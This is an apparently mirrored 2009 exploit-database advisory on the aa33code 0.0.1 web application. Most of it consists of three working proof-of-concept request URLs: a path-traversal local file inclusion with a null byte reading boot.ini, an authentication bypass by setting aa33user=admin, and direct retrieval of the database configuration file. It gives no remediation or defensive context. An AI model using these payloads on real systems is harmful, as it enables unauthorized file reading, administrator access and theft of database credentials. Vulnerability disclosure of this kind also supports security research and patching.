[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : aa33code 0.0.1 (LFI/Auth Bypass/DCD) Multiple Remote Vulnerabilites
# Published : 2009-08-01
# Author : SirGod
# Previous Title : PortalXP - Teacher Edition 1.2 Multiple SQL Injection Vulnerabilities
# Next Title : Mobilelib Gold v3 (Auth Bypass/SQL) Multiple Remote Vulnerabilities 


##############################################################################################################
[+] aa33code 0.0.1 (LFI/Auth Bypass/DCD) Multiple Remote Vulnerabilites
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
##############################################################################################################

[+] Download : http://sourceforge.net/projects/aa33code/files/aa33code/0.0.1/aa33code-0.0.1.tar.gz/download

[+] Local File Inclusion

 - PoC

     http://127.0.0.1/[path]/reviews.php?artid=../../../../../../boot.ini%00

[+] Authentication Bypass

 - PoC

     http://127.0.0.1/[path]/artedit/main.php?aa33user=admin

[+] Database Configuration Disclosure

 - PoC

     http://127.0.0.1/[path]/inc/mysql.inc


##############################################################################################################

# www.Syue.com [2009-08-01]